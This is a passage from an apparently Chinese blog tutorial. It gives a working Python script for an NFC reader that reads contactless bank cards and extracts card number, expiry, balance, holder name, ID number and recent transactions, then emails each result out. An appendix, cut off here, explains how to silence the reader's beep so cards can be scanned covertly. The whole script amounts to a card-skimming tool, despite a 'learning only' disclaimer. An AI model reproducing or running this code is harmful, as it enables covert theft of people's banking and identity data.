[&#39;授权金额&#39;, &#39;000000020000&#39;], &#39;9F03&#39;: [&#39;其他金额&#39;, &#39;000000000000&#39;], &#39;9F1A&#39;: [&#39;终端国家代码&#39;, &#39;0156&#39;], &#39;5F2A&#39;: [&#39;交易货币代码&#39;, &#39;0156&#39;], &#39;9F4E&#39;: [&#39;商户名称&#39;, &#39;494342432041544D&#39;], &#39;9C&#39;: [&#39;交易类型&#39;, &#39;01&#39;], &#39;9F36&#39;: [&#39;应用交易计数器(ATC)&#39;, &#39;0051&#39;]}</span></span></code><code><span class="code-snippet_outer">    log_tlv = {}</span></code><code><span class="code-snippet_outer">    log_tlv[<span class="code-snippet__string">&#39;9A&#39;</span>] = [<span class="code-snippet__string">&#39;交易日期&#39;</span>, logStr[<span class="code-snippet__number">0</span>:<span class="code-snippet__number">6</span>]]</span></code><code><span class="code-snippet_outer">    log_tlv[<span class="code-snippet__string">&#39;9F21&#39;</span>] = [<span class="code-snippet__string">&#39;交易时间&#39;</span>, logStr[<span class="code-snippet__number">6</span>:<span class="code-snippet__number">12</span>]]</span></code><code><span class="code-snippet_outer">    log_tlv[<span class="code-snippet__string">&#39;9F02&#39;</span>] = [<span class="code-snippet__string">&#39;授权金额&#39;</span>, logStr[<span class="code-snippet__number">12</span>:<span class="code-snippet__number">24</span>]]</span></code><code><span class="code-snippet_outer">    log_tlv[<span class="code-snippet__string">&#39;9F03&#39;</span>] = [<span class="code-snippet__string">&#39;其他金额&#39;</span>, logStr[<span class="code-snippet__number">24</span>:<span class="code-snippet__number">36</span>]]</span></code><code><span class="code-snippet_outer">    log_tlv[<span class="code-snippet__string">&#39;9F1A&#39;</span>] = [<span class="code-snippet__string">&#39;终端国家代码&#39;</span>, logStr[<span class="code-snippet__number">36</span>:<span class="code-snippet__number">40</span>]]</span></code><code><span class="code-snippet_outer">    log_tlv[<span class="code-snippet__string">&#39;5F2A&#39;</span>] = [<span class="code-snippet__string">&#39;交易货币代码&#39;</span>, logStr[<span class="code-snippet__number">40</span>:<span class="code-snippet__number">44</span>]]</span></code><code><span class="code-snippet_outer">    log_tlv[<span class="code-snippet__string">&#39;9F4E&#39;</span>] = [<span class="code-snippet__string">&#39;商户名称&#39;</span>, _del20or00(logStr[<span class="code-snippet__number">44</span>:<span class="code-snippet__number">84</span>])]</span></code><code><span class="code-snippet_outer">    log_tlv[<span class="code-snippet__string">&#39;9C&#39;</span>] = [<span class="code-snippet__string">&#39;交易类型&#39;</span>, logStr[<span class="code-snippet__number">84</span>:<span class="code-snippet__number">86</span>]]</span></code><code><span class="code-snippet_outer">    log_tlv[<span class="code-snippet__string">&#39;9F36&#39;</span>] = [<span class="code-snippet__string">&#39;应用交易计数器(ATC)&#39;</span>, logStr[<span class="code-snippet__number">-4</span>:]]</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> log_tlv</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">hex2gb2312</span><span class="code-snippet__params">(hexStr)</span>:</span>     <span class="code-snippet__comment">#将十六进制转换为gb2312字符</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># example: 494342432041544D ==&gt; ICBC ATM</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> bytes(toBytes(hexStr)).decode(<span class="code-snippet__string">&#39;gb2312&#39;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">tlv_analyzing</span><span class="code-snippet__params">(*tlv)</span>:</span>    <span class="code-snippet__comment">#对tlv格式进行解析,详细可参见JRT0025第5部分 附录A 表A.1</span></span></code><code><span class="code-snippet_outer">    tag = read_tag()</span></code><code><span class="code-snippet_outer">    newtag = {} </span></code><code><span class="code-snippet_outer">    not_tlv2 = (<span class="code-snippet__string">&#39;6F&#39;</span>,<span class="code-snippet__string">&#39;70&#39;</span>,<span class="code-snippet__string">&#39;72&#39;</span>,<span class="code-snippet__string">&#39;73&#39;</span>,<span class="code-snippet__string">&#39;77&#39;</span>,<span class="code-snippet__string">&#39;80&#39;</span>,<span class="code-snippet__string">&#39;A5&#39;</span>,<span class="code-snippet__string">&#39;90&#39;</span>)    <span class="code-snippet__comment"># 2个字符的模板</span></span></code><code><span class="code-snippet_outer">    not_tlv4 = (<span class="code-snippet__string">&#39;BF0C&#39;</span>)                                     <span class="code-snippet__comment"># 4个字符的模板</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> each_tlv <span class="code-snippet__keyword">in</span> tlv:</span></code><code><span class="code-snippet_outer">        each_tlv_raw = each_tlv</span></code><code><span class="code-snippet_outer">        each_tlv = each_tlv + <span class="code-snippet__string">&#39; &#39;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># print(each_tlv)</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> len(each_tlv) != <span class="code-snippet__number">1</span>:   <span class="code-snippet__comment">#说明还存在数据，如果为1则值为&#39; &#39;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> each_tlv.startswith(not_tlv2):   <span class="code-snippet__comment">#检测特殊情况,如果开头是2个字符的模板等</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> each_tlv[<span class="code-snippet__number">0</span>:<span class="code-snippet__number">4</span>] == <span class="code-snippet__string">&#39;7081&#39;</span>:     <span class="code-snippet__comment"># 70为模板，以7081开头的一般长度有4位(81xx)，所以将7081xx删掉</span></span></code><code><span class="code-snippet_outer">                    each_tlv = each_tlv[<span class="code-snippet__number">6</span>:]</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">elif</span> each_tlv[<span class="code-snippet__number">0</span>:<span class="code-snippet__number">4</span>] == <span class="code-snippet__string">&#39;9081&#39;</span>:   <span class="code-snippet__comment"># 90为证书，暂不处理，直接连数据一起删掉</span></span></code><code><span class="code-snippet_outer">                    length = int(each_tlv[<span class="code-snippet__number">4</span>:<span class="code-snippet__number">6</span>], <span class="code-snippet__number">16</span>)</span></code><code><span class="code-snippet_outer">                    each_tlv = each_tlv[<span class="code-snippet__number">6</span>+length*<span class="code-snippet__number">2</span>:]</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">                    each_tlv = each_tlv[<span class="code-snippet__number">2</span>+<span class="code-snippet__number">2</span>:]   <span class="code-snippet__comment">#将模板和长度删掉</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">elif</span> each_tlv.startswith(not_tlv4): <span class="code-snippet__comment">#同上</span></span></code><code><span class="code-snippet_outer">                each_tlv = each_tlv[<span class="code-snippet__number">4</span>+<span class="code-snippet__number">2</span>:]</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">else</span>:                               <span class="code-snippet__comment">#解析TLV</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> each_tlv[<span class="code-snippet__number">0</span>:<span class="code-snippet__number">2</span>] <span class="code-snippet__keyword">in</span> [i <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> tag <span class="code-snippet__keyword">if</span> len(i) == <span class="code-snippet__number">2</span>]:</span></code><code><span class="code-snippet_outer">                    length = int(each_tlv[<span class="code-snippet__number">2</span>:<span class="code-snippet__number">4</span>], <span class="code-snippet__number">16</span>)</span></code><code><span class="code-snippet_outer">                    value = each_tlv[<span class="code-snippet__number">4</span>:<span class="code-snippet__number">4</span>+length*<span class="code-snippet__number">2</span>]</span></code><code><span class="code-snippet_outer">                    tag[each_tlv[<span class="code-snippet__number">0</span>:<span class="code-snippet__number">2</span>]][<span class="code-snippet__number">1</span>] = value</span></code><code><span class="code-snippet_outer">                    each_tlv = each_tlv[<span class="code-snippet__number">4</span>+length*<span class="code-snippet__number">2</span>:]</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">elif</span> each_tlv[<span class="code-snippet__number">0</span>:<span class="code-snippet__number">4</span>] <span class="code-snippet__keyword">in</span> [ j <span class="code-snippet__keyword">for</span> j <span class="code-snippet__keyword">in</span> tag <span class="code-snippet__keyword">if</span> len(j) == <span class="code-snippet__number">4</span>]:</span></code><code><span class="code-snippet_outer">                    length = int(each_tlv[<span class="code-snippet__number">4</span>:<span class="code-snippet__number">6</span>], <span class="code-snippet__number">16</span>)</span></code><code><span class="code-snippet_outer">                    value = each_tlv[<span class="code-snippet__number">6</span>:<span class="code-snippet__number">6</span>+length*<span class="code-snippet__number">2</span>]</span></code><code><span class="code-snippet_outer">                    tag[each_tlv[<span class="code-snippet__number">0</span>:<span class="code-snippet__number">4</span>]][<span class="code-snippet__number">1</span>] = value</span></code><code><span class="code-snippet_outer">                    each_tlv = each_tlv[<span class="code-snippet__number">6</span>+length*<span class="code-snippet__number">2</span>:]</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">else</span>:                           <span class="code-snippet__comment">#如果解析不了</span></span></code><code><span class="code-snippet_outer">                    print(<span class="code-snippet__string">&#39;发现未识别的标签：&#39;</span>, each_tlv[<span class="code-snippet__number">0</span>:<span class="code-snippet__number">2</span>], <span class="code-snippet__string">&#39;or&#39;</span>, each_tlv[<span class="code-snippet__number">0</span>:<span class="code-snippet__number">4</span>])</span></code><code><span class="code-snippet_outer">                    print(<span class="code-snippet__string">&#39;原始标签：&#39;</span>, each_tlv_raw)</span></code><code><span class="code-snippet_outer">                    print(<span class="code-snippet__string">&#39;-&#39;</span> * <span class="code-snippet__number">50</span>)</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">break</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># print(tag)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> tag   </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> __name__ == <span class="code-snippet__string">&#39;__main__&#39;</span>:</span></code><code><span class="code-snippet_outer">    detection = <span class="code-snippet__number">0</span>   <span class="code-snippet__comment">#检测扫描的银行卡是否和刚刚扫描的一致，如果一致则不再扫描，以免出现重复数据</span></span></code><code><span class="code-snippet_outer">    SELECT1 = [<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0xA4</span>,<span class="code-snippet__number">0x04</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x07</span>,<span class="code-snippet__number">0xA0</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x03</span>,<span class="code-snippet__number">0x33</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0x01</span>] <span class="code-snippet__comment">#选择卡片</span></span></code><code><span class="code-snippet_outer">    SELECT2 = [<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0xB2</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0x14</span>,<span class="code-snippet__number">0x00</span>]    <span class="code-snippet__comment">#银行卡号、生失效日期</span></span></code><code><span class="code-snippet_outer">    SELECT3 = [<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0xB2</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0x0C</span>,<span class="code-snippet__number">0x00</span>]    <span class="code-snippet__comment">#证件号、姓名、证件类型</span></span></code><code><span class="code-snippet_outer">    SELECT4 = [<span class="code-snippet__number">0x80</span>,<span class="code-snippet__number">0xCA</span>,<span class="code-snippet__number">0x9F</span>,<span class="code-snippet__number">0x79</span>,<span class="code-snippet__number">0x00</span>]    <span class="code-snippet__comment">#读取电子现金余额</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> <span class="code-snippet__keyword">True</span>:     <span class="code-snippet__comment">#程序持续运行</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span>:        <span class="code-snippet__comment">#选择卡片，发送请求数据，获取响应数据</span></span></code><code><span class="code-snippet_outer">            r = readers()   <span class="code-snippet__comment">#以下代码及说明参见pyscard官方文档</span></span></code><code><span class="code-snippet_outer">            connection = r[<span class="code-snippet__number">0</span>].createConnection()</span></code><code><span class="code-snippet_outer">            connection.connect()</span></code><code><span class="code-snippet_outer">            data1, sw1, sw2 = connection.transmit(SELECT1)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> data1 == []:</span></code><code><span class="code-snippet_outer">                print(<span class="code-snippet__string">&#39;扫描到非银行卡&#39;</span>)</span></code><code><span class="code-snippet_outer">                time.sleep(<span class="code-snippet__number">0.1</span>)</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">            data2, sw1, sw2 = connection.transmit(SELECT2)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> detection == data2:      <span class="code-snippet__comment">#如果前后数据没变化，则重新扫描卡片</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">            data3, sw1, sw2 = connection.transmit(SELECT3)</span></code><code><span class="code-snippet_outer">            data4, sw1, sw2 = connection.transmit(SELECT4)</span></code><code><span class="code-snippet_outer">            data5_list = []</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0xB</span>):      <span class="code-snippet__comment">#先从卡里读数据，后面再处理</span></span></code><code><span class="code-snippet_outer">                SELECT5 = [<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0xB2</span>,i,<span class="code-snippet__number">0x5C</span>,<span class="code-snippet__number">0x00</span>]   <span class="code-snippet__comment">#前 i 条交易日志</span></span></code><code><span class="code-snippet_outer">                data5, sw1, sw2 = connection.transmit(SELECT5)</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> data5 == []:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">break</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">                    data5_list.append(data5)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span>:</span></code><code><span class="code-snippet_outer">            time.sleep(<span class="code-snippet__number">0.1</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">            tlv1 = toHexString(data1,PACK)</span></code><code><span class="code-snippet_outer">            tlv2 = toHexString(data2,PACK)</span></code><code><span class="code-snippet_outer">            tlv3 = toHexString(data3,PACK)</span></code><code><span class="code-snippet_outer">            tlv4 = toHexString(data4,PACK)</span></code><code><span class="code-snippet_outer">            res = tlv_analyzing(tlv1,tlv2,tlv3,tlv4)</span></code><code><span class="code-snippet_outer">            s = (<span class="code-snippet__string">&#39;&#39;&#39;</span></span></code><code><span class="code-snippet_outer">银行卡类型：%(cardtype)s </span></code><code><span class="code-snippet_outer">银行卡号：%(cardnumber)s</span></code><code><span class="code-snippet_outer">银行卡发卡行：%(cardbank)s</span></code><code><span class="code-snippet_outer">银行卡有效期：%(valid)s - %(invalid)s</span></code><code><span class="code-snippet_outer">电子现金余额：%(balance).2f</span></code><code><span class="code-snippet_outer">持卡人姓名：%(name)s</span></code><code><span class="code-snippet_outer">持卡人证件号：%(idcardnumber)s</span></code><code><span class="code-snippet_outer">证件归属地：%(idcardbelong)s</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">&#39;&#39;&#39;</span> % {<span class="code-snippet__string">&#39;cardtype&#39;</span>: _card_type(hex2gb2312(res[<span class="code-snippet__string">&#39;50&#39;</span>][<span class="code-snippet__number">1</span>])), </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;cardnumber&#39;</span>: insert_chr(res[<span class="code-snippet__string">&#39;5A&#39;</span>][<span class="code-snippet__number">1</span>].rstrip(<span class="code-snippet__string">&#39;F&#39;</span>)) <span class="code-snippet__keyword">or</span> insert_chr(_jie_duan1(res[<span class="code-snippet__string">&#39;57&#39;</span>][<span class="code-snippet__number">1</span>])), </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;cardbank&#39;</span>: create_card_info(res[<span class="code-snippet__string">&#39;5A&#39;</span>][<span class="code-snippet__number">1</span>].rstrip(<span class="code-snippet__string">&#39;F&#39;</span>)) <span class="code-snippet__keyword">or</span> create_card_info(_jie_duan1(res[<span class="code-snippet__string">&#39;57&#39;</span>][<span class="code-snippet__number">1</span>])), </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;valid&#39;</span>: insert_chr(res[<span class="code-snippet__string">&#39;5F25&#39;</span>][<span class="code-snippet__number">1</span>],<span class="code-snippet__number">2</span>,<span class="code-snippet__string">&#39;/&#39;</span>), </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;invalid&#39;</span>: insert_chr(res[<span class="code-snippet__string">&#39;5F24&#39;</span>][<span class="code-snippet__number">1</span>],<span class="code-snippet__number">2</span>,<span class="code-snippet__string">&#39;/&#39;</span>) <span class="code-snippet__keyword">or</span> insert_chr(_jie_duan2(res[<span class="code-snippet__string">&#39;57&#39;</span>][<span class="code-snippet__number">1</span>]),<span class="code-snippet__number">2</span>,<span class="code-snippet__string">&#39;/&#39;</span>), </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;balance&#39;</span>: int(res[<span class="code-snippet__string">&#39;9F79&#39;</span>][<span class="code-snippet__number">1</span>])/<span class="code-snippet__number">100</span>, </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;name&#39;</span>: hex2gb2312(res[<span class="code-snippet__string">&#39;5F20&#39;</span>][<span class="code-snippet__number">1</span>]), </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;idcardnumber&#39;</span>: hex2gb2312(res[<span class="code-snippet__string">&#39;9F61&#39;</span>][<span class="code-snippet__number">1</span>]), </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;idcardbelong&#39;</span>: create_identityCard_info(hex2gb2312(res[<span class="code-snippet__string">&#39;9F61&#39;</span>][<span class="code-snippet__number">1</span>])) }   )</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment"># print(s)</span></span></code><code><span class="code-snippet_outer">            s = s + <span class="code-snippet__string">&#39;\n最近十次交易如下：&#39;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> data5 <span class="code-snippet__keyword">in</span> data5_list:</span></code><code><span class="code-snippet_outer">                tlv5 = toHexString(data5,PACK)</span></code><code><span class="code-snippet_outer">                log_tlv = log_analyzing(tlv5)</span></code><code><span class="code-snippet_outer">                s = s + (</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;&#39;&#39;\n\n交易日期  交易时间  授权金额        商户名称        交易类型</span></span></code><code><span class="code-snippet_outer">%7s %9s %9.2f %15s %12s&#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">% (insert_chr(log_tlv[<span class="code-snippet__string">&#39;9A&#39;</span>][<span class="code-snippet__number">1</span>],<span class="code-snippet__number">2</span>,<span class="code-snippet__string">&#39;/&#39;</span>),</span></code><code><span class="code-snippet_outer">insert_chr(log_tlv[<span class="code-snippet__string">&#39;9F21&#39;</span>][<span class="code-snippet__number">1</span>],<span class="code-snippet__number">2</span>,<span class="code-snippet__string">&#39;:&#39;</span>),</span></code><code><span class="code-snippet_outer">int(log_tlv[<span class="code-snippet__string">&#39;9F02&#39;</span>][<span class="code-snippet__number">1</span>])/<span class="code-snippet__number">100</span>, </span></code><code><span class="code-snippet_outer">hex2gb2312(log_tlv[<span class="code-snippet__string">&#39;9F4E&#39;</span>][<span class="code-snippet__number">1</span>]), </span></code><code><span class="code-snippet_outer">trade_type2str(log_tlv[<span class="code-snippet__string">&#39;9C&#39;</span>][<span class="code-snippet__number">1</span>])))</span></code><code><span class="code-snippet_outer">            print(s)</span></code><code><span class="code-snippet_outer">            send_mails.send(<span class="code-snippet__string">&#39;NFC&#39;</span>,s.replace(<span class="code-snippet__string">&#39;\n&#39;</span>,<span class="code-snippet__string">&#39;&lt;br&gt;&#39;</span>))   <span class="code-snippet__comment">#发送邮件</span></span></code><code><span class="code-snippet_outer">            print(<span class="code-snippet__string">&#39;*&#39;</span> * <span class="code-snippet__number">80</span>)</span></code><code><span class="code-snippet_outer">            detection = data</span></code></pre></section><p><span style="display: none;line-height: 0px;">‍</span><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">执行以上代码前需安装pyscard库：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">sudo apt-get install pcscd git python3-setuptools swig gcc libpcsclite-dev python3-dev</span></code><code><span class="code-snippet_outer">sudo <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;install nfc /bin/false&#34;</span> &gt;&gt; /etc/modprobe.d/blacklist.conf</span></code><code><span class="code-snippet_outer">sudo <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;install pn533 /bin/false&#34;</span> &gt;&gt; /etc/modprobe.d/blacklist.conf</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">cd</span> ~</span></code><code><span class="code-snippet_outer">git <span class="code-snippet__built_in">clone</span> <a href="https://github.com/LudovicRousseau/pyscard.git" target="_blank">https://github.com/LudovicRousseau/pyscard.git</a></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">cd</span> pyscard</span></code><code><span class="code-snippet_outer">sudo python setup.py build_ext install</span></code><code><span class="code-snippet_outer">reboot</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">(注：windows用户可直接执行 pip3 install pyscard 安装)</span></p><p><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">程序及资料： </span><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">NFC资料代码</span></p><p><br/></p><p><strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">后记</span></strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">：其实上面的演示，你只要有个NFC读卡器就行，这个是最重要的，然后我的python程序是在window10上写的，之后放到了树莓派中。所以上面提到的exe文件工具，如果你是苹果电脑打不开，可能得另想办法。然后我最后面写的参考文章你也可以看看，里面有很多东西也是很重要的，不然你可能会看不懂我在说什么。这个NFC读卡器只针对带有芯片的银行卡，纯磁条卡不行。你使用这个信息读取器读取银行卡时，有时候会碰到持卡人姓名，证件号没有的情况，而且其实这种是大多数的情况，这因为银行在建卡时没有把这些数据写入。PBOC3.0目前的规范是不强制录入持卡人信息，据说PBOC4.0就是建议不要录入持卡人信息，而我们现在正处于PBOC3.0到PBOC4.0之间的阶段。</span></p><p style="text-align: start;white-space: normal;margin-top: 1.4em;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="font-weight: 600;font-synthesis: style;">声明</span>：<span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">本软件不得用于商业及非法用途，仅做学习交流使用。</span></p><p style="text-align: start;white-space: normal;margin-top: 1.4em;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">参考文章</span></strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">:</span></p><p><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">使用<span class="code-snippet__selector-tag">Python</span>读取银行卡信息</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Debian</span>系统<span class="code-snippet__selector-tag">pyscard</span>安装</span></code><code><span class="code-snippet_outer">根据银行卡号码获取银行卡归属行以及<span class="code-snippet__selector-tag">logo</span>图标</span></code><code><span class="code-snippet_outer">金融<span class="code-snippet__selector-tag">tag</span>对应表</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-attr">[转]</span><span class="code-snippet__selector-tag">android</span>点滴之<span class="code-snippet__selector-tag">NFC</span>手机如何轻松读取银行卡信息？</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">PBOC</span> <span class="code-snippet__selector-tag">APUD</span>指令学习<span class="code-snippet__selector-tag">--SELECT</span>命令</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">APDU</span>常用指令<span class="code-snippet__selector-tag">GSM</span>和<span class="code-snippet__selector-tag">USIM</span></span></code><code><span class="code-snippet_outer">常用<span class="code-snippet__selector-tag">APDU</span>指令错误码</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">JRT0025</span><span class="code-snippet__selector-class">.5-2018</span> 中国金融集成电路（<span class="code-snippet__selector-tag">IC</span>）卡规范 第5部分：借记贷记应用卡片规范</span></code><code><span class="code-snippet_outer">使用<span class="code-snippet__selector-tag">NFC</span>读卡器<span class="code-snippet__selector-tag">ACR122u</span>读取银行卡信息</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">pyscard</span>库官方文档</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">TLV</span> 格式及编解码</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p style="text-align: start;white-space: normal;margin-top: 1.4em;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="font-weight: 600;font-synthesis: style;">附A</span>：<span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">如何关闭ACR122U读卡器刷卡蜂鸣声。有时候我们想神不知鬼不觉的扫一下银行卡，所以我们得把这个声音关掉。</span> <br/></p><ol style="text-align: start;white-space: normal;margin-top: 1.4em;margin-bottom: 1.4em;display: table;counter-reset: ol 0;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans 